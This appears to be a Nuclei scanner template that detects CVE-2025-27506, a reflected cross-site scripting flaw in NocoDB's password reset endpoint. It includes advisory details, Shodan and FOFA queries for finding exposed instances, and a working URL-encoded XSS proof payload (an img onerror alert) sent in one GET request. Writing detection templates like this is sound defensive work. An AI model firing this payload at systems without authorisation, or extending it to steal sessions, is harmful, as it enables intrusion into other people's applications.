id: CVE-2025-27506

info:
  name: NocoDB < 0.258.0 - Reflected XSS in Password Reset
  author: 0x_Akoko
  severity: medium
  description: |
    NocoDB versions before 0.258.0 contain a reflected cross-site scripting caused by insecure use of '\u003C%-' in resetPassword.ts, letting attackers execute malicious scripts in victims' browsers, exploit requires sending crafted requests to /api/v1/db/auth/password/reset/:tokenId.
  impact: |
    Attackers can execute malicious scripts in victims' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
  remediation: |
    Update to version 0.258.0 or later.
  reference:
    - https://github.com/nocodb/nocodb/security/advisories/GHSA-wf6c-hrhf-86cw
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27506
    - https://github.com/nocodb/nocodb/commit/ea821edb133e621e26183ae65c8ff9ee5d6f2723
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2025-27506
    epss-score: 0.00683
    epss-percentile: 0.4763
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"NocoDB" || http.favicon.hash:"-1123780655"
    fofa-query: title="NocoDB" || body="nocodb"
  tags: cve,cve2025,nocodb,xss,reflected,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/db/auth/password/reset/nuclei%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "NocoDB - Reset Password", "onerror=alert(document.domain)>", "token:")'
        condition: and
# digest: 4b0a00483046022100f3a0bac2ccf8008c64ed529fbdd7f73e296e5fb2ecb58bcb72365de5ee48f8040221008b62d9cb9f9e409d64d213633ca15462037b567e9d279782e04ae8a9f560b48c:922c64590222798bb761d5b6d8e72950